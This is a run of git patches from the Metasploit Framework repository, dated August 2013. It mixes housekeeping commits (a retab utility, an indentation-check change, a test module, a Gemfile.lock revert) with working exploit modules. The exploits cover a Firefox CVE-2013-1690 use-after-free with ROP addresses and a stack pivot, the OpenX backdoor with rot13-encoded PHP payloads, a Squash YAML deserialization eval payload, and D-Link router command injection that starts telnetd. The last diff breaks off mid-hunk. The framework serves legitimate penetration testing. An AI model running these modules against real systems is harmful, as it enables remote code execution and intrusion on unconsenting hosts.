b/modules/exploits/unix/webapp/squash_yaml_exec.rb index 3004c5dd5aeee..04613ff417a56 100644 --- a/modules/exploits/unix/webapp/squash_yaml_exec.rb +++ b/modules/exploits/unix/webapp/squash_yaml_exec.rb @@ -29,6 +29,7 @@ def initialize(info = {}) 'References' => [ [ 'URL', 'http://ceriksen.com/2013/08/06/squash-remote-code-execution-vulnerability-advisory/'], + [ 'OSVDB', '95992'], ], 'Platform' => 'ruby', 'Arch' => ARCH_RUBY, From ae685ac41d6741e1c114b8a00e977f76a6f80a85 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 7 Aug 2013 09:52:29 -0500 Subject: [PATCH 110/454] Beautify description --- modules/exploits/linux/http/dlink_dir300_exec_telnet.rb | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb index 4e4235dc79e46..caf290e59893d 100644 --- a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb +++ b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb @@ -20,11 +20,10 @@ def initialize(info = {}) Different D-Link Routers are vulnerable to OS command injection via the web interface. The vulnerability exists in tools_vct.xgi, which is accessible with credentials. This module has been tested with the versions DIR-300 rev A v1.05 - and DIR-615 rev D v4.13. - Two target are included, first to start a telnetd service and establish a session over - it and second to run commands via the CMD target. There is no wget or tftp client to - upload an elf backdoor easily. - According to the vulnerability discoverer, more D-Link devices may affected. + and DIR-615 rev D v4.13. Two target are included, the first one starts a telnetd + service and establish a session over it, the second one runs commands via the CMD + target. There is no wget or tftp client to upload an elf backdoor easily. According + to the vulnerability discoverer, more D-Link devices may affected. }, 'Author' => [ From 33ac0c5c3f580726637678aa472a63c3cdb18c2f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 7 Aug 2013 10:21:14 -0500 Subject: [PATCH 111/454] Make exploit more print friendly --- modules/exploits/linux/http/dlink_command_php_exec_noauth.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb index 632e4fa752f67..0d5f3bd55deaf 100644 --- a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb @@ -80,6 +80,7 @@ def exploit_cmd fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = "#{payload.encoded}; echo end" + print_status("#{rhost}:#{rport} - Sending exploit request...") res = request(cmd) if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ HTTP\/1.1,\ DIR/) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") @@ -99,11 +100,12 @@ def exploit_cmd def exploit_telnet telnetport = rand(65535) - vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}") + print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}") cmd = "telnetd -p #{telnetport}" #starting the telnetd gives no response + print_status("#{rhost}:#{rport} - Sending exploit request...") request(cmd) begin From 821673c4d284bfc09297145a06a2cd427662ed46 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 7 Aug 2013 10:26:39 -0500 Subject: [PATCH 112/454] Try to fix a little description --- .../exploits/linux/http/dlink_command_php_exec_noauth.rb | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb index 0d5f3bd55deaf..5a6e69f6c21e7 100644 --- a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb @@ -20,11 +20,10 @@ def initialize(info = {}) Different D-Link Routers are vulnerable to OS command injection via the web interface. The vulnerability exists in command.php, which is accessible without authentication. This module has been tested with the versions DIR-600 2.14b01, - DIR-300 rev B 2.13. - Two target are included, first to start a telnetd service and establish a session over - it and second to run commands via the CMD target. There is no wget or tftp client to - upload an elf backdoor easily. - According to the vulnerability discoverer, more D-Link devices may affected. + DIR-300 rev B 2.13. Two target are included, the first one starts a telnetd service + and establish a session over it, the second one runs commands via the CMD target. + There is no wget or tftp client to upload an elf backdoor easily. According to the + vulnerability discoverer, more D-Link devices may affected. }, 'Author' => [ From d9dc217ef7d286c83c598af2e4fed7db2c7fee07 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 7 Aug 2013 10:52:30 -0500 Subject: [PATCH 113/454] Revert Gemfile.lock to previous --- Gemfile.lock | 62 ++++++++++++++++++++++++++++------------------------ 1 file changed, 33 insertions(+), 29 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 1ac9a6fb03f3e..503c913cd9111 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,58 +1,62 @@ GEM remote: http://rubygems.org/ specs: - activemodel (3.2.14) - activesupport (= 3.2.14) + activemodel (3.2.13) + activesupport (= 3.2.13) builder (~> 3.0.0) - activerecord (3.2.14) - activemodel (= 3.2.14) - activesupport (= 3.2.14) + activerecord (3.2.13) + activemodel (= 3.2.13) + activesupport (= 3.2.13) arel (~> 3.0.2) tzinfo (~> 0.3.29) - activesupport (3.2.14) - i18n (~> 0.6, >= 0.6.4) + activesupport (3.2.13) + i18n (= 0.6.1) multi_json (~> 1.0) arel (3.0.2) + bourne (1.4.0) + mocha (~> 0.13.2) builder (3.0.4) - database_cleaner (1.1.1) - diff-lcs (1.2.4) + database_cleaner (0.9.1) + diff-lcs (1.2.2) factory_girl (4.2.0) activesupport (>= 3.0.0) - i18n (0.6.4) - json (1.8.0) - metasploit_data_models (0.16.5) + i18n (0.6.1) + json (1.7.7) + metaclass (0.0.1) + metasploit_data_models (0.16.1) activerecord (>= 3.2.13) activesupport pg - mini_portile (0.5.1) - msgpack (0.5.5) + mocha (0.13.3) + metaclass (~> 0.0.1) + msgpack (0.5.4) multi_json (1.0.4) network_interface (0.0.1) - nokogiri (1.6.0) - mini_portile (~> 0.5.0) + nokogiri (1.5.9) packetfu (1.1.8) pcaprub (0.11.3) - pg (0.16.0) - rake (10.1.0) - redcarpet (3.0.0) + pg (0.15.1) + rake (10.0.4) + redcarpet (2.2.2) robots (0.10.1) - rspec (2.14.1) - rspec-core (~> 2.14.0) - rspec-expectations (~> 2.14.0) - rspec-mocks (~> 2.14.0) - rspec-core (2.14.4) - rspec-expectations (2.14.0) + rspec (2.13.0) + rspec-core (~> 2.13.0) + rspec-expectations (~> 2.13.0) + rspec-mocks (~> 2.13.0) + rspec-core (2.13.1) + rspec-expectations (2.13.0) diff-lcs (>= 1.1.3, < 2.0) - rspec-mocks (2.14.2) - shoulda-matchers (2.2.0) + rspec-mocks (2.13.0) + shoulda-matchers (1.5.2) activesupport (>= 3.0.0) + bourne (~> 1.3) simplecov (0.5.4) multi_json (~> 1.0.3) simplecov-html (~> 0.5.3) simplecov-html (0.5.3) - timecop (0.6.2.2) + timecop (0.6.1) tzinfo (0.3.37) - yard (0.8.7) + yard (0.8.5.2) PLATFORMS ruby From 914ec856f0f5b070340fd3ec9f50911c7c72c224 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 7 Aug 2013 11:34:43 -0500 Subject: [PATCH 114/454] Add a retab utility Usage: tools/dev/retab.rb directory will retab with 2-width spaces rather than tabs for indentation. This utility should be used by the @tabassassin account when it's unleashed on the Metasploit code base in order to make git blame a little easier to spot. (diffs should use -b or -w to avoid seeing @tabassassin's changes) --- tools/dev/retab.rb | 43 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 43 insertions(+) create mode 100755 tools/dev/retab.rb diff --git a/tools/dev/retab.rb b/tools/dev/retab.rb new file mode 100755 index 0000000000000..ff84af82da02f --- /dev/null +++ b/tools/dev/retab.rb @@ -0,0 +1,43 @@ +#!/usr/bin/env ruby +# -*- coding: binary -*- + +# Replace leading tabs with 2-width spaces. +# I'm sure there's a sed/awk/perl oneliner that's +# a million times better but this is more readable for me. + +require 'fileutils' +require 'find' + +dir = ARGV[0] || "." +raise ArgumentError, "Need a filename or directory" unless (dir and File.readable? dir) + +Find.find(dir) do |infile| + next unless File.file? infile + next unless infile =~ /rb$/ +outfile = infile +backup = "#{infile}.notab" +FileUtils.cp infile, backup + +data = File.open(infile, "rb") {|f| f.read f.stat.size} +fixed = [] +data.each_line do |line| + fixed << line + next unless line =~ /^\x09/ + index = [] + i = 0 + line.each_char do |char| + break unless char =~ /[\x20\x09]/ + index << i if char == "\x09" + i += 1 + end + index.reverse.each do |idx| + line[idx] = " " + end + fixed[-1] = line +end + +fh = File.open(outfile, "wb") +fh.write fixed.join +fh.close +puts "Retabbed #{fh.path}" +end From c5f0651b7e0fd9abe6ff594bb0387fd58a70feaf Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 7 Aug 2013 11:39:36 -0500 Subject: [PATCH 115/454] Add *.notab to gitignore These are artifacts of tools/dev/retab.rb --- .gitignore | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.gitignore b/.gitignore index 5cc4662fa4311..8bd096722cf6d 100644 --- a/.gitignore +++ b/.gitignore @@ -40,3 +40,5 @@ tags *.orig *.rej *~ +# Ignore backups of retabbed files +*.notab From be01cd96a337cb3ff5fc2ee6cd7a2cdc538d472b Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 7 Aug 2013 11:43:46 -0500 Subject: [PATCH 116/454] Adds a test module for space checking This module should throw three errors on lines 17, 18, and 19 when checked against the new msftidy.rb that is space-tolerant (but not tab-space tolerant) --- test/modules/auxiliary/test/space-check.rb | 47 ++++++++++++++++++++++ 1 file changed, 47 insertions(+) create mode 100644 test/modules/auxiliary/test/space-check.rb diff --git a/test/modules/auxiliary/test/space-check.rb b/test/modules/auxiliary/test/space-check.rb new file mode 100644 index 0000000000000..54284b424a2f6 --- /dev/null +++ b/test/modules/auxiliary/test/space-check.rb @@ -0,0 +1,47 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => "Check Test", + 'Description' => %q{ + This module ensures that 'check' actually functions for Auxiilary modules. + }, + 'References' => + [ + [ 'OSVDB', '0' ] + ], + 'Author' => + [ + 'todb' + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + Opt::RPORT(80) + ], self.class) + end + + def check + print_debug "Check is successful" + return Msf::Exploit::CheckCode::Vulnerable + end + + def run + print_debug "Run is successful." + end + +end From ef224b175dd79053e98365c14069f0872c4345d8 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 7 Aug 2013 11:45:41 -0500 Subject: [PATCH 117/454] Allow for tabs or spaces as indentation This signals a move to allowing for normal Ruby indentation (2 space soft tabs). This change will check files for indentation of spaces or of tabs, since we don't want to fail out all modules quite yet. For more, see https://github.com/rapid7/metasploit-framework/wiki/Indentation-Standards where all details of the conversion plan will be documented in order to minimize the amount of whitespace conflict we are sure to encounter over this conversion. --- tools/msftidy.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/tools/msftidy.rb b/tools/msftidy.rb index 91a8b9b82e2af..2057bdc169165 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -353,8 +353,10 @@ def check_lines warn("Spaces at EOL", idx) end - if (ln.length > 1) and (ln =~ /^([\t ]*)/) and ($1.include?(' ')) - warn("Bad indent: #{ln.inspect}", idx) + # Allow tabs or spaces as indent characters, but not both. + # This should check for spaces only on October 8, 2013 + if (ln.length > 1) and (ln =~ /^([\t ]*)/) and ($1.match(/\x20\x09|\x09\x20/)) + warn("Space-Tab mixed indent: #{ln.inspect}", idx) end if ln =~ /\r$/ From f307aa70d3178a22b07e8fba895c75815a3c639d Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 7 Aug 2013 12:31:56 -0500 Subject: [PATCH 118/454] Add some old hard-tabs for sanity --- test/modules/auxiliary/test/space-check.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/test/modules/auxiliary/test/space-check.rb b/test/modules/auxiliary/test/space-check.rb index 54284b424a2f6..4213efd9c5723 100644 --- a/test/modules/auxiliary/test/space-check.rb +++ b/test/modules/auxiliary/test/space-check.rb @@ -9,11 +9,11 @@ class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Report - include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info(info, + super(update_info(info, 'Name' => "Check Test", 'Description' => %q{ This module ensures that 'check' actually functions for Auxiilary modules. From d1beb313f65990257a76a93e917315beffbd97fb Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 7 Aug 2013 15:36:54 -0500 Subject: [PATCH 119/454] Add module for 2013-1690 --- .../mozilla_firefox_onreadystatechange.rb | 182 ++++++++++++++++++ 1 file changed, 182 insertions(+) create mode 100644 modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb diff --git a/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb b/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb new file mode 100644 index 0000000000000..7b7651ddc3d5a --- /dev/null +++ b/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb @@ -0,0 +1,182 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Firefox onreadystatechange Event DocumentViewerImpl Use After Free', + 'Description' => %q{ + This module exploits a vulnerability found on Firefox 17.0.6, specifically an use + after free of a DocumentViewerImpl object, triggered via an specially crafted web + page using onreadystatechange events and the window.stop() API, as exploited in the + wild on 2013 August to target Tor Browser users. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Nils', # vulnerability discovery + 'Unknown', # 1day exploit + 'w3bd3vil', # 1day analysis + 'sinn3r', # Metasploit module + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2013-1690' ], + [ 'OSVDB', '94584'], + [ 'BID', '60778'], + [ 'URL', 'https://www.mozilla.org/security/announce/2013/mfsa2013-53.html' ], + [ 'URL', 'https://lists.torproject.org/pipermail/tor-announce/2013-August/000089.html' ], + [ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=901365' ], + [ 'URL', 'http://krash.in/ffn0day.txt' ], + [ 'URL', 'http://hg.mozilla.org/releases/mozilla-esr17/rev/2d5a85d7d3ae' ] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Payload' => + { + 'BadChars' => "\x00", + 'DisableNops' => true + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Firefox 17 / Windows XP SP3', + { + 'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory + 'RetGadget' => 0x77c3ee16, # ret from msvcrt + 'StackPivot' => 0x76C9B4C2, # xcht ecx,esp # or byte ptr[eax], al # add byte ptr [edi+5Eh], bl # ret 8 from IMAGEHLP + 'VFuncPtr' => 0x0c10100c # Fake Function Pointer to the Sprayed Memory + } + ] + ], + 'DisclosureDate' => 'Jun 25 2013', + 'DefaultTarget' => 0)) + + end + + def stack_pivot + pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb + pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit + pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit + pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset + return pivot + end + + def junk(n=4) + return rand_text_alpha(n).unpack("V").first + end + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + vprint_status("Agent: #{agent}") + + if agent !~ /Windows NT 5\.1/ + print_error("Windows XP not found, sending 404: #{agent}") + send_not_found(cli) + return + end + + if agent !~ /Firefox\/17/ + print_error("Browser not supported, sending 404: #{agent}") + send_not_found(cli) + return + end + + my_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource + + # build html + code = [ + target['VFuncPtr'], + target['RetGadget'], + target['StackPivot'], + junk + ].pack("V*") + code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'}) + js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch)) + js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch)) + + content = <<-HTML + + + + + HTML + + # build iframe + iframe = <<-IFRAME + + IFRAME + + print_status("URI #{request.uri} requested...") + + if request.uri =~ /iframe\.html/ + print_status("Sending iframe HTML") + send_response(cli, iframe, {'Content-Type'=>'text/html'}) + return + end + + print_status("Sending HTML") + send_response(cli, content, {'Content-Type'=>'text/html'}) + + end + +end From 0f975da5f48d6765fd9164028711fcad3318c598 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 7 Aug 2013 16:00:06 -0500 Subject: [PATCH 120/454] Update target info and something else... --- .../windows/browser/mozilla_firefox_onreadystatechange.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb b/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb index 7b7651ddc3d5a..91eecd17fda60 100644 --- a/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb +++ b/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb @@ -27,7 +27,7 @@ def initialize(info = {}) 'Author' => [ 'Nils', # vulnerability discovery - 'Unknown', # 1day exploit + 'Unknown', # 1day exploit, prolly the FBI 'w3bd3vil', # 1day analysis 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module @@ -56,7 +56,7 @@ def initialize(info = {}) 'Platform' => 'win', 'Targets' => [ - [ 'Firefox 17 / Windows XP SP3', + [ 'Firefox 17 & Firefox 21 / Windows XP SP3', { 'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory 'RetGadget' => 0x77c3ee16, # ret from msvcrt @@ -92,7 +92,7 @@ def on_request_uri(cli, request) return end - if agent !~ /Firefox\/17/ + if agent !~ /Firefox\/17/ or agent !~ /Firefox\/21/ print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return From 3a2476558598359cda3a3c2f637bbc83ddabebb1 Mon Sep 17 00:00:00 2001 From: root Date: Wed, 7 Aug 2013 18:11:43 -0400 Subject: [PATCH 121/454] Adding CVE ID --- modules/exploits/unix/webapp/squash_yaml_exec.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/unix/webapp/squash_yaml_exec.rb b/modules/exploits/unix/webapp/squash_yaml_exec.rb index 04613ff417a56..ff1e0255ed004 100644 --- a/modules/exploits/unix/webapp/squash_yaml_exec.rb +++ b/modules/exploits/unix/webapp/squash_yaml_exec.rb @@ -30,6 +30,7 @@ def initialize(info = {}) [ [ 'URL', 'http://ceriksen.com/2013/08/06/squash-remote-code-execution-vulnerability-advisory/'], [ 'OSVDB', '95992'], + [ 'CVE', '2013-5036'], ], 'Platform' => 'ruby', 'Arch' => ARCH_RUBY, From c808930f1564adf0f9542f560e9340b93d174f42 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 7 Aug 2013 17:24:47 -0500 Subject: [PATCH 122/454] Add module for CVE-2013-4211, openx backdoor --- .../exploits/multi/http/openx_backdoor_php.rb | 103 ++++++++++++++++++ 1 file changed, 103 insertions(+) create mode 100644 modules/exploits/multi/http/openx_backdoor_php.rb diff --git a/modules/exploits/multi/http/openx_backdoor_php.rb b/modules/exploits/multi/http/openx_backdoor_php.rb new file mode 100644 index 0000000000000..f7b3a00da1042 --- /dev/null +++ b/modules/exploits/multi/http/openx_backdoor_php.rb @@ -0,0 +1,103 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OpenX Backdoor PHP Code Execution', + 'Description' => %q{ + OpenX Ad Server version 2.8.10 was shipped with an obfuscated + backdoor since at least November 2012 through August 2013. + Exploitation is simple, requiring only a single request with a + rot13'd and reversed payload. + }, + 'Author' => + [ + 'egypt', # Metasploit module, shouts to bperry for hooking me up with the vuln software + 'Unknown', # Someone planted this backdoor... + ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'CVE', '2013-4211' ], + [ 'URL', 'http://www.heise.de/security/meldung/Achtung-Anzeigen-Server-OpenX-enthaelt-eine-Hintertuer-1929769.html'], + [ 'URL', 'http://forum.openx.org/index.php?showtopic=503521628'], + ], + 'Privileged' => false, + 'Payload' => + { + 'DisableNops' => true, + # Arbitrary big number. The payload gets sent as POST data, so + # really it's unlimited + 'Space' => 262144, # 256k + }, + 'DisclosureDate' => 'Aug 07 2013', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [[ 'Generic (PHP payload)', { }]], + 'DefaultTarget' => 0)) + + register_options([ + OptString.new('TARGETURI', [true, "The URI to request", "/openx/"]), + ], self.class) + end + + def check + token = rand_text_alpha(20) + response = execute_php("echo '#{token} '.phpversion();die();") + + if response.nil? + CheckCode::Unknown + elsif response.body =~ /#{token} ((:?\d\.?)+)/ + print_status("PHP Version #{$1}") + return CheckCode::Vulnerable + end + return CheckCode::Safe + end + + def exploit + execute_php(payload.encoded) + + handler + end + + def execute_php(php_code) + money = rot13(php_code.reverse) + begin + response = send_request_cgi( { + 'method' => "POST", + 'global' => true, + 'uri' => normalize_uri(target_uri.path,"www","delivery","fc.php"), + 'vars_get' => { + 'file_to_serve' => "flowplayer/3.1.1/flowplayer-3.1.1.min.js", + 'script' => 'deliveryLog:vastServeVideoPlayer:player' + }, + 'vars_post' => { + 'vastPlayer' => money + }, + }, 0.1) + rescue ::Interrupt + raise $! + rescue ::Rex::ConnectionError => e + fail_with(::Msf::Exploit::Failure::Unreachable, e.message) + rescue ::OpenSSL::SSL::SSLError + print_error("The target failed to negotiate SSL, is this really an SSL service?") + end + + response + end + + def rot13(str) + str.tr! "A-Za-z", "N-ZA-Mn-za-m" + end + +end From ca7c0defe13602cbb8ce33f677380e4d90aa116a Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 7 Aug 2013 17:35:52 -0500 Subject: [PATCH 123/454] No need to rescue if we're just re-raising --- modules/exploits/multi/http/openx_backdoor_php.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/exploits/multi/http/openx_backdoor_php.rb b/modules/exploits/multi/http/openx_backdoor_php.rb index f7b3a00da1042..10508a89168aa 100644 --- a/modules/exploits/multi/http/openx_backdoor_php.rb +++ b/modules/exploits/multi/http/openx_backdoor_php.rb @@ -85,8 +85,6 @@ def execute_php(php_code) 'vastPlayer' => money }, }, 0.1) - rescue ::Interrupt - raise $! rescue ::Rex::ConnectionError => e fail_with(::Msf::Exploit::Failure::Unreachable, e.message) rescue ::OpenSSL::SSL::SSLError From 74eeacf9f2864c494f1c3220d7a38c484a8c79d6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 8 Aug 2013 08:40:45 -0500 Subject: [PATCH 124/454] Fix regex --- modules/exploits/linux/http/dlink_command_php_exec_noauth.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb index 5a6e69f6c21e7..9a219a224c944 100644 --- a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb @@ -81,7 +81,7 @@ def exploit_cmd cmd = "#{payload.encoded}; echo end" print_status("#{rhost}:#{rport} - Sending exploit request...") res = request(cmd) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ HTTP\/1.1,\ DIR/) + if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux, HTTP\/1.1, DIR/) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end From 080ca0b1b13ede11a0373dd7ef6badfdd779d70a Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 8 Aug 2013 13:12:39 -0500 Subject: [PATCH 125/454] Use fail_with when failing instead of print_error --- modules/exploits/multi/http/openx_backdoor_php.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/openx_backdoor_php.rb b/modules/exploits/multi/http/openx_backdoor_php.rb index 10508a89168aa..7261bd73724af 100644 --- a/modules/exploits/multi/http/openx_backdoor_php.rb +++ b/modules/exploits/multi/http/openx_backdoor_php.rb @@ -86,9 +86,9 @@ def execute_php(php_code) }, }, 0.1) rescue ::Rex::ConnectionError => e - fail_with(::Msf::Exploit::Failure::Unreachable, e.message) + fail_with(Failure::Unreachable, e.message) rescue ::OpenSSL::SSL::SSLError - print_error("The target failed to negotiate SSL, is this really an SSL service?") + fail_with(Failure::BadConfig, "The target failed to negotiate SSL, is this really an SSL service?") end response From 1c6e994fe85f0c5065e2c7e82029233f1ab9b29d Mon Sep 17 00:00:00 2001 From: Charlie Eriksen Date: Thu, 8 Aug 2013 14:29:35 -0400 Subject: [PATCH 126/454] Adding improvements based on Juan's feedback --- .../exploits/unix/webapp/squash_yaml_exec.rb | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) diff --git a/modules/exploits/unix/webapp/squash_yaml_exec.rb b/modules/exploits/unix/webapp/squash_yaml_exec.rb index ff1e0255ed004..becd53c36a070 100644 --- a/modules/exploits/unix/webapp/squash_yaml_exec.rb +++ b/modules/exploits/unix/webapp/squash_yaml_exec.rb @@ -7,7 +7,6 @@ require 'msf/core' require 'zlib' -require 'base64' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking @@ -16,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Squash YAML Code Exec', + 'Name' => 'Squash YAML Code Execution', 'Description' => %q{ This module exploits a remote code execution vulnerability in the YAML request processor of the Squash application. @@ -49,10 +48,11 @@ def initialize(info = {}) def check response = send_request_cgi({ - 'uri' => "#{datastore['TARGETURI']}api/1.0/deobfuscation", + 'uri' => normalize_uri(target_uri.path, '/api/1.0/deobfuscation'), 'method' => 'POST', 'ctype' => 'application/json', - }, 30) + }) + if response.code == 422 print_status("Got HTTP 422 result, target may be vulnerable") return Exploit::CheckCode::Appears @@ -63,15 +63,16 @@ def check def exploit code = Rex::Text.encode_base64(payload.encoded) yaml = "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" + - "'#{Rex::Text.rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " + - ": !ruby/object:OpenStruct\n table:\n :defaults: {}\n" - payload = Base64.encode64(Zlib::Deflate.deflate(yaml)).gsub("\n", "") + "'#{rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " + + ": !ruby/object:OpenStruct\n table:\n :defaults: {}\n" + payload = Rex::Text.encode_base64(Zlib::Deflate.deflate(yaml)).gsub("\n", "") data = "{\"api_key\":\"1\",\"environment\":\"production\",\"build\":\"1\",\"namespace\":\"#{payload}\"}" + send_request_cgi({ - 'uri' => "#{datastore['TARGETURI']}api/1.0/deobfuscation", + 'uri' => normalize_uri(target_uri.path, '/api/1.0/deobfuscation'), 'method' => 'POST', 'ctype' => 'application/json', 'data' => data - }, 30) + }) end end From 28b36ea29b5667645904c9e8bb5ce5ddfb678cbc Mon Sep 17 00:00:00 2001 From: Charlie Eriksen Date: Thu, 8 Aug 2013 14:30:53 -0400 Subject: [PATCH 127/454] Removing a space at EOL I missed. --- modules/exploits/unix/webapp/squash_yaml_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/unix/webapp/squash_yaml_exec.rb b/modules/exploits/unix/webapp/squash_yaml_exec.rb index becd53c36a070..654fca38114ea 100644 --- a/modules/exploits/unix/webapp/squash_yaml_exec.rb +++ b/modules/exploits/unix/webapp/squash_yaml_exec.rb @@ -52,7 +52,7 @@ def check 'method' => 'POST', 'ctype' => 'application/json', }) - + if response.code == 422 print_status("Got HTTP 422 result, target may be vulnerable") return Exploit::CheckCode::Appears From a73f87eaa5951a1297e999d629851224365662b2 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 8 Aug 2013 13:34:25 -0500 Subject: [PATCH 128/454] No autodetect. Allow the user to manually select. --- modules/exploits/multi/http/hp_sys_mgmt_exec.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb index 66e3eb86c6965..38309375e8397 100755 --- a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb +++ 